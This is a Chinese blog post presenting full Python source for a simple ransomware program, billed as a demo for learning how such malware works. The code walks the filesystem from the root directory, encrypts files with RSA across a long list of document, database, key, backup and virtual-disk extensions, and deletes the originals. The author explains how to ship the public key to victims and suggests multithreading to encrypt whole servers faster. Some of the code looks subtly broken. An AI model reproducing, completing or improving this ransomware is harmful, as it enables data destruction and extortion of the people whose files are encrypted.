一、勒索病毒
简单来说，勒索病毒就是通过加密受害者电脑的本地数据，向受害者勒索赎金的恶意软件。加密勒索软件的核心是加密算法，我自己实现的勒索病毒使用的就是安全度高破解难度大的RSA加密算法。RSA是一种非对称公钥加密算法，依赖于大质数分解难题，通过公钥无法轻易破解私钥。此demo的核心思想就是在攻击者本地生成RSA公私钥，并把私钥保存起来，使用公钥加密受害者电脑上的数据。废话不多说，直接上代码。
二、Python简易勒索病毒
import base64
import os.path
import rsa
#生产1024位公私钥并保存为.pem 先在本地生成，将生成的公钥和加密程序一起打包发送到受害者即可
# pub, priv = rsa.newkeys(1024)
#
# pub = pub.save_pkcs1()
# with open(f"./keys/pubkey.pem", mode="wb") as file:
# file.write(pub)
#
# priv = priv.save_pkcs1()
# with open(f"./keys/privkey.pem", mode="wb") as file:
# file.write(priv)
#预定义想要加密的文件后缀名，可以自己选择
target_list_str = ".txt .exe .php .pl .7z .rar .m4a .wma .avi .wmv .csv .d3dbsp .sc2save .sie .sum " \
".ibank .t13 .t12 .qdf .gdb .tax .pkpass .bc6 .bc7 .bkp .qic .bkf .sidn .sidd .mddata " \
" .itl .itdb .icxs .hvpl .hplg .hkdb .mdbackup .syncdb .gho .cas .svg .map .wmo .itm " \
".sb .fos .mcgame .vdf .ztmp .sis .sid .ncf .menu .layout .dmp .blob .esm .vtf " \
".dazip .fpk .mlx .kf .iwd .vpk .tor .psk .rim .w3x .fsh .ntl .arch00 .lvl .snx .cfr " \
" .ff .vpp_pc .lrf .m2 .mcmeta .vfs0 .mpqge .kdb .db0 .mp3 .upx .rofl .hkx .bar .upk " \
".das .iwi .litemod .asset .forge .ltx .bsa .apk .re4 .sav .lbf .slm .bik .epk " \
".rgss3a .pak .big .unity3d .wotreplay .xxx .desc .py .m3u .flv .js .css .rb .png " \
".jpeg .p7c .p7b .p12 .pfx .pem .crt .cer .der .x3f .srw .pef .ptx .r3d .rw2 .rwl " \
".raw .raf .orf .nrw .mrwref .mef .erf .kdc .dcr .cr2 .crw .bay .sr2 .srf .arw .3fr " \
".dng .jpeg .jpg .cdr .indd .ai .eps .pdf .pdd .psd .dbfv .mdf .wb2 .rtf .wpd .dxg " \
".xf .dwg .pst .accdb .mdb .pptm .pptx .ppt .xlk .xlsb .xlsm .xlsx .xls .wps .docm " \
".docx .doc .odb .odc .odm .odp .ods .odt .sql .zip .tar .tar.gz .tgz .biz .ocx " \
".html .htm .3gp .srt .cpp .mid .mkv .mov .asf .mpeg .vob .mpg .fla .swf .wav .qcow2 " \
" .vdi .vmdk .vmx .gpg .aes .ARC .PAQ .tar.bz2 .tbk .bak .djv .djvu .bmp .cgm .tif " \
".tiff .NEF .cmd .class .jar .java .asp .brd .sch .dch .dip .vbs .asm .pas .ldf .ibd " \
" .MYI .MYD .frm .dbf .SQLITEDB .SQLITE3 .asc .lay6 .lay .ms11 .sldm " \
".sldx .ppsm .ppsx .ppam .docb .mml .sxm .otg .slk .xlw .xlt .xlm .xlc .dif .stc " \
".sxc .ots .ods .hwp .dotm .dotx .docm .DOT .max .xml .uot .stw .sxw .ott .csr .key " \
# 加密过程
def rsa_encrypt(filename):
if filename.split(".")[-1] in target_list:
with open("./pubkey.pem") as file: #加载RSA公钥，准备加密
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)
with open(filename, mode='rb') as file:
data = file.read()
# 删除原始文件
os.remove(filename)
res = []
for i in range(0, len(data), 117):
res.append(rsa.encrypt(data[i:i + 117], pub))
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()
filename = filename + ".enc" #加密后的文件后缀名改为.enc
with open(filename, mode='w') as file:
file.write(byte_data)
def encrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)
# 解密过程，当然如果当为攻击程序肯定不能发送到被害者服务器，此处是为了防止误操作将自己文件加密后的还原（或者确保受害者无法浏览到此代码也可一起发送）
def rsa_decrypt(file_name):
if file_name.split(".")[-2] in target_list:
with open("./privkey.pem", mode="rb") as file:
priv = file.read()
priv = rsa.PrivateKey.load_pkcs1(priv)
with open(file_name, mode='r') as file:
data = file.read()
data = base64.b64decode(data.encode())
res = []
for i in range(0, len(data), 128):
temp_plaintext = rsa.decrypt(data[i:i + 128], priv)
res.append(temp_plaintext)
last = b''.join(res)
#删除加密文件
os.remove(file_name)
with open(file_name.replace(".enc", ""), mode='wb') as file:
file.write(last)
def decrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
decrypt(file_name)
else:
rsa_decrypt(file_name)
else:
rsa_decrypt(file_path)
if __name__ == "__main__":
target_list = []
for i in target_list_str.split("."):
target_list.append(i.strip())
encrypt("/") #此处自定义想要加密的目录名称，我这里写成了linux下的根目录
#decrypt("/")#解密加密后的文件
三、总结
此代码若加密单独文件夹下的文件或者加密少量文件效率还可以，但是如果加密整个大的服务器系统可能会导致卡死。我觉得解决办法可以是使用多线程，python中的threading进行多线程加密。同时可能存在当前用户权限不够导致文件无法加密的情况，这个问题目前还没想到解决办法，以后有时间再来研究一下。但此demo加密一些普通文件夹还是没有问题的，主要是了解一下勒索病毒的原理以及一些常用的加密算法。欢迎各路大佬留下评论交流！